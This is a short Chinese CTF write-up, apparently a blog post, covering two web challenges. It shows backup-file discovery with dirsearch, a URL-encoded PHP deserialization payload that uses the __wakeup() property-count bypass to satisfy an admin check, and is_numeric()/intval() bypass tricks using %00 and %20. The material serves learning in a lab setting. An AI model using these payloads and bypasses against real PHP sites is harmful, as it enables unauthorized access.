有点提示,‘有一个良好的备份网站的习惯’,我们尝试一下看一下网站目录,或尝试输入网站源码来备份文件
一,使用用dirsearch或dirmap来扫描网站
我使用的是top7000
扫出来www.zip
下载
二,通过知识来猜测
打开class和index
发现index.php包含了class.php还有一个select为变量,我们看一下class
class定义了一个Name,当password=100和username=admin时会输出flag
我们尝试构造payload
O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D
得到了这样的一个URL
调用unserialize()时会自动调用魔法函数wakeup(),可以通过改变属性数绕过,把Name
后面的2改为3或以上即可
O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D
就得到了flag
[ACTF2020 新生赛]BackupFile
跟上一个题是一样的思路
用dirsearch扫一下扫到一个文件
再下载
主要的收获是php中的两个函数
is_numeric()和intval();
is_numeric() 可以检测「变量」是否为「数字」或数字字符串。
常见的绕过就是在数字前或后加%00 ,在后加%20
详情见https://blog.csdn.net/wangyuxiang946/article/details/131211111
ntval() 函数可以获取变量的「整数值」。常用于强制类型转换。